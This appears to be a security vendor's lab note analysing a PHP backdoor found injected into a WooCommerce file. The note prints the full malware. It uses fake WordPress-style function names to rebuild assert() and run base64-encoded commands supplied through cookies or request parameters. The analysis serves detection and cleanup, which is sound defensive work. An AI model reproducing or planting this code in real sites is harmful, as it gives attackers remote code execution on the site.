Fake WordPress Functions Conceal assert() Backdoor

Labs Note

A few weeks ago, I was manually inspecting some files on a compromised website. While checking on a specific WooCommerce file, I noticed something interesting.

Among 246 other lines, this very specific part stood out to me:

$config = wp_dbase_config_init('_as_sert');

For those readers familiar with PHP functions commonly misused by hackers, you may have already spotted _as_sert as something suspicious.

Since it resembles the assert() function, let’s check the PHP definition of the function:

bool assert ( mixed $assertion [, string $description ] )
assert() will check the given assertion and take appropriate action if its result is FALSE.
If the assertion is given as a string it will be evaluated as PHP code by assert().

This PHP construct is usually used in development and testing environments to verify that code is working as intended. However, it’s ability to execute arbitrary PHP code, passed along as a parameter, makes this feature useful for writing backdoors.

(Pro tip: To mitigate risk, make sure the assert() feature is disabled on servers if you aren’t actively developing.)

Another suspicious item is  wp_dbase_config_init(), which has been named to look like a core WordPress function to initialize the database — but, in fact, is doing something completely different.

Let’s take a look:

function wp_dbase_config_init($wc_message) {
    if ( ! function_exists( 'w3tc_pgcache_flush' ) || ! function_exists( 'w3_instance' ) ) {
        
    }
    $config = array();
    $config['init'] = preg_replace('/_/', "", $wc_message);
        
    if (isset($_REQUEST['paa8c1']))
        $wc_request = wp_dbase_decode($_COOKIE['paa8c1']);
            
    if (isset($_COOKIE['caa8c1']))
        $wc_request = wp_dbase_decode($_COOKIE['caa8c1']);
        
    $config['request'] = $wc_request;
        
    return $config;
}

In an attempt to conceal this malicious code as harmless PHP, the author added checks for W3 Cache functions — a popular caching plugin. You don’t want your site’s cache to stop working, right?

However, what the code really does is replace all of the underscores from _as_sert, revealing the real function name assert, adding any remote commands sent through to the $config variable.

As seen in the sample above, the code retrieves the attackers’ commands passed through GET or POST requests using either paa8c1 and caa8c1 parameters.

The content then is sent to the hacker’s defined wp_dbase_decode function so it can be decoded using base64.

The assert function and its arguments are contained in the $config array, which are later treated in the following code.

function wp_dbase_cache_start () {
    /**
    * If breadcrumbs are active (which they supposedly are if the users has enabled this settings,
    * there's no reason to have bbPress breadcrumbs as well.
    *
    * @internal The class itself is only loaded when the template tag is encountered via
    * the template tag function in the wpseo-functions.php file
    */    
        $config = wp_dbase_config_init('_as_sert');
                        
        if (isset($config['request'])) {
            if (function_exists($config['init'])) {
                @$config['init']($config['request']);
            }
        }
            
}

Despite being such a small section of code, it offers some impressive functionality for the attacker. It essentially checks to see if the assert function is defined, then uses it to execute the malicious payload provided in the request parameters.

This sample was found very carefully injected into a WooCommerce file and was using function names that are very similar to those commonly found within WordPress’ codebase, so it’s easy to miss this type of backdoor if you’re not paying attention to details.

If you spot weird code being sent to your site in the logs, you may have a similar backdoor planted. You can run any integrity check against the site core files, or give us a call. We’d be happy to help clean up the malware!

You May Also Like